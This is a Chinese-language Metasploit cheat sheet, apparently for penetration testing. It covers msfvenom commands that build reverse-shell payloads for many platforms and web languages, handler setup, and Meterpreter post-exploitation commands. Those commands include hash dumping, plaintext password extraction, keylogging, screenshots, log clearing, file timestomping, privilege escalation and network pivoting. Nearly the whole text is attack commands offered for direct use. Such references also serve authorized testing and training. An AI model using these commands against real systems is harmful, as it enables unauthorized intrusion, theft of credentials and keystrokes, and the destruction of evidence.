0X01 - 初始化msf数据库
输入msfc(tab补全),进入msf窗口
(1)启动postgresql数据库
1 [root@kali ~]# service postgresql start
(2)对msf进行数据库初始化
1 [root@kali ~]# msfdb init
(3)输入msfconsole进行msf界面
(4)在msf界面输入db_status查看msf与postgresql数据库的连接状态
1 [root@kali ~]# db_status
0X02 - Metasploit基础命令
1 msf > search ms17 //查找 2 msf > use exploit/multi/handler //使用 3 msf > info //查看信息 4 msf > show options //或者exploits、payloads 显示可用信息 5 msf > set options //或者payload 给相关对象赋值 6 msf > run //或者exploit 执行 7 msf > exploit -j //后台运行 8 msf > back //返回上一级 9 msf > session -i //查看当前可用会话 10 msf > session -K //杀死所有活跃会话
0X03 - msf各种payload生成命令
Linux
1 [root@kali ~]# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows
1 [root@kali ~]# msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac
1 [root@kali ~]# msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
2 [root@kali ~]# Web Payloads
PHP
1 [root@kali ~]#msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php 2 [root@kali ~]#cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
1 [root@kali ~]#msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
1 [root@kali ~]#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
1 [root@kali ~]#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war 2 [root@kali ~]#Scripting Payloads
Python
1 [root@kali ~]#msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
1 [root@kali ~]#msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
1 [root@kali ~]#msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits
Linux Based Shellcode
1 [root@kali ~]#msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Windows Based Shellcode
1 [root@kali ~]#msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
2 生成一个Metepreter的payload
[root@kali ~]# msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-f exe > /root/Desktop/msf.exe
3 生成一个非Metepreter的payload
[root@kali ~]# msfvenom -p windows/shell/reverse_tcp LHOST=172.26.26.213 LPORT=4444 -f exe > /root/Desktop/msf2.exe
Mac Based Shellcode
1 [root@kali ~]#msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Handlers
use exploit/multi/handler set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value> set ExitOnSession false exploit -j -z
0X04 - Metepreter基础命令
Core Commands #核心命令
1 background #把当前Metepreter会话放到后台运行 2 exit #直接中断当前Metepreter会话 3 migrate #进程迁移 4 run #调用meterpreter script or Post module 5 load #加载meterpreter扩展程序 6 msv #获取的是hash值 7 wdigest #读取内存中存放的账号密码明文信息 8 run #调用meterpreter自带脚本和Post模块 9 run post/windows/gather/checkvm #是否虚拟机(windows) 10 run post/linux/gather/checkvm #是否虚拟机(linux) 11 run post/windows/gather/forensics/enum_drives #查看分区 12 run post/windows/gather/enum_applications #获取安装软件信息 13 run post/windows/gather/dumplinks #获取最近的文件操作 14 run post/windows/gather/enum_ie #获取IE缓存 15 run post/windows/gather/enum_chrome #获取Chrome缓存 16 run post/windows/gather/enum_patches #补丁信息 17 run post/windows/gather/enum_domain #查找域控 18 19 Msf添加内网路由 20 run get_local_subnets 21 run autoroute -s 192.168.10.0/24 22 run autoroute -p
File system Commands #文件系统命令
1 pwd / getwd #显示被控服务器当前工作路径 2 cd #切换目录 3 dir / ls #显示当前目录的文件 4 cat #查看文件内容 5 edit #编辑文件 6 cp #复制文件 7 mkdir #新建文件夹 8 mv #移动文件 9 rm #删除文件 10 rmdir #删除文件夹 11 search #搜索文件 search -d d:\\www -f *.config 12 show_mount #显示操作系统所有盘符 13 download #下载文件 14 getlwd /lpwd #显示当前本地系统的路径 15 lcd #切换本地系统的路径 16 lls #显示本地系统的文件 17 upload #上传文件
Networking Commands #网络相关命令
1 arp 2 getproxy 3 ifconfig / ipconfig 4 netstat 5 resolve 6 route 7 portfwd #端口转发 8 portfwd add -l 1234 -p 3389 -r 192.168.10.130 #192.168.10.130是当前被控服务器的网卡上显示的ip地址,不区分内外网 9 portfwd delete -l 1234
System Commands #系统相关命令
1 clearev #清除日志,需要高权限 2 execute #执行被控服务器上的某个程序 3 getuid #显示当前权限,类似于whoami 4 kill #终结某个进程 5 ps #显示系统所有进程 6 shell #进入系统shell终端 7 sysinfo #显示操作系统基本信息
User interface Commands #用户相关命令
1 keyboard_send #发送键盘按键值过去 2 keyscan_start #开启键盘记录 3 keyscan_stop #停止键盘记录 4 keyscan_dump #获取键盘记录 5 mouse #发送鼠标点击事件 6 screenshot #屏幕截图
Elevate Commands
1 getsystem #msf内置的一键提权,需要普通用户权限(工作组普通用户/域普通用户)
Password database Commands
1 hashdump #获取系统hash值,需要system权限
Timestomp Commands
利用timestomp功能模块修改文件时间
1 meterpreter > timestomp c:\\www -c "09/09/1980 12:12:34" #修改文件创建时间 2 meterpreter > timestomp c:\\2.txt -m "01/01/1991 12:12:34" #修改文件修改时间 3 meterpreter > timestomp c:\\2.txt -f c:\\1.txt #将文件1.txt属性复制到2.txt